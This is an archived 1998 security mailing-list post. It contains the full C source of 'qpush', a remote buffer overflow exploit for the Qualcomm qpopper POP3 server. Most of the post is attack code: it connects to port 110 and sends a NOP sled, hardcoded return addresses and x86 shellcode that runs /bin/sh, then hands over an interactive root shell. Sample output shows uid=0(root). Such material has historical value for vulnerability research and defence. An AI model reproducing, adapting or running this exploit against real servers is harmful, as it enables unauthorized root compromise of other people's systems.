qpush: qpopper exploit source

From: Herbert Rosmanith (herpat_private-EDU.UNI-LINZ.AC.AT)
Date: Sun Jun 28 1998 - 17:20:59 PDT

  • Next message: John Fraizer: "More problems with QPOPPER - <sigh>"

    dear listmembers,
    
    this program demonstrates how to exploit popper.
    it took me quite a time that vsprintf() in pop_msg
    translates all upper-case to lower-case, which will
    result in corruptions of assembly code containing
    these codes, and interpretes hexcodes like 0x0c, 0x0b
    as line seperator (LF?), which seems to stop the copying
    of the shell-code too early.
    
    note that, after "qpush" has successfully executed
    /bin/sh, you will not see any prompt. type "id" to
    see who you are, like that:
    
    $ ./qpush technix.oeh
    дояїдояїдояїдояїдояї
    id
    uid=0(root) gid=0(root)
    
    
    use at your own risk.
    
    regards,
    h.rosmanith
    herpat_private-linz.ac.at
    
    --------------------------- >8 --------------------------------
    
    /* qpush: qualcom popper buffer overflow exploit (pop_msg)
     * Mon Jun 29 01:26:06 GMT 1998 - herp
     *                                Herbert Rosmanith
     *                                herpat_private-linz.ac.at
     */
    
    #include        <stdio.h>
    #include        <sys/time.h>
    #include        <sys/types.h>
    #include        <netinet/in.h>
    #include        <netdb.h>
    #include        <signal.h>
    #include        <unistd.h>
    #include        <errno.h>
    
    long addrlist[]={
            0xbfffeee4,             /*2.2*/
            0xbfffec2c              /*2.41beta1*/
    };
    
    char shellcode[] =
        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
        "\xff\xff/bin/sh.........";
    
    void die(char *s) {
            if (errno) perror(s);
            else fprintf(stderr,"%s\n",s);
            exit(-1);
    }
    
    void usage() {
            printf("qpush [-index] <hostname>\n"
                   " -0 QPOP Version 2.2             (default)\n"
                   " -1 QPOP Version 2.41beta1\n");
            exit(0);
    }
    
    int resolv(char *host,long *ipaddr) {
            if (isdigit(host[0])) {
                    *ipaddr=inet_addr(host);
                    if (*ipaddr==-1) return -1;
            }
            else {
                    struct hostent *hp;
                    if ((hp=gethostbyname(host))==NULL) {
                            fprintf(stderr,"tc: %s: unknown host\n");
                            exit(-1);
                    }
                    *ipaddr=*(unsigned long *)hp->h_addr;
            }
            return 0;
    }
    
    int connect_to(char *hostname,short port) {
    struct sockaddr_in s_in;
    int s;
    
            s=socket(PF_INET,SOCK_STREAM,0);
            if (s==-1) die("socket");
    
            if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
                    die("unknown host");
            s_in.sin_family=AF_INET;
            s_in.sin_port=htons(port);
    
            if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
                    die("connect");
    
            return s;
    }
    
    void socket_read(int s,char *buf,int len) {
    int i;
            switch(i=read(s,buf,len)) {
            case -1: die("unexpected EOF");
            case  0: die("EOF");
            default:
                    buf[i]=0;
                    //printf("%s",buf);
                    break;
            }
    }
    
    void terminal(int s) {
    char buf[1024];
    fd_set rfds;
    fd_set fds;
    int i;
    
            for (i=0;i<NSIG;i++) signal(i,SIG_IGN);
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(s,&fds);
            for (;;) {
                    memcpy(&rfds,&fds,sizeof(fds));
                    i=select(s+1,&rfds,NULL,NULL,NULL);
                    if (i==-1) die("select");
                    if (i==0) die("session closed");
                    if (FD_ISSET(s,&rfds)) {
                            if ((i=read(s,buf,sizeof(buf)))<1)
                                    die("session closed");
                            write(1,buf,i);
                    }
                    if (FD_ISSET(0,&rfds)) {
                            if ((i=read(0,buf,sizeof(buf)))<1)
                                    die("session closed");
                            write(s,buf,i);
                    }
            }
    }
    
    void main(int argc,char *argv[]) {
    char buf[1024+128];
    int s,i,ix;
    
            if (argc>=2 && argv[1][0]=='-') {
                    ix=atoi(&argv[1][1]);
                    argc--;
                    argv++;
            }
            else ix=0;
    
            if (argc!=2 || ix>sizeof(addrlist)/sizeof(long))
                    usage();
    
            s=connect_to(argv[1],110);      /* WKS POP3 */
            socket_read(s,buf,sizeof(buf));
            memset(buf,0x90,sizeof(buf));
            for (i=981;i<981+10*4;i+=4)
                    memcpy(&buf[i],&addrlist[ix],4);
            memcpy(&buf[941],shellcode,strlen(shellcode));
            buf[sizeof(buf)-3]=0x0d;
            buf[sizeof(buf)-2]=0x0a;
            buf[sizeof(buf)-1]=0x00;
            write(s,buf,sizeof(buf));
            socket_read(s,buf,sizeof(buf));
            terminal(s);
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:00:35 PDT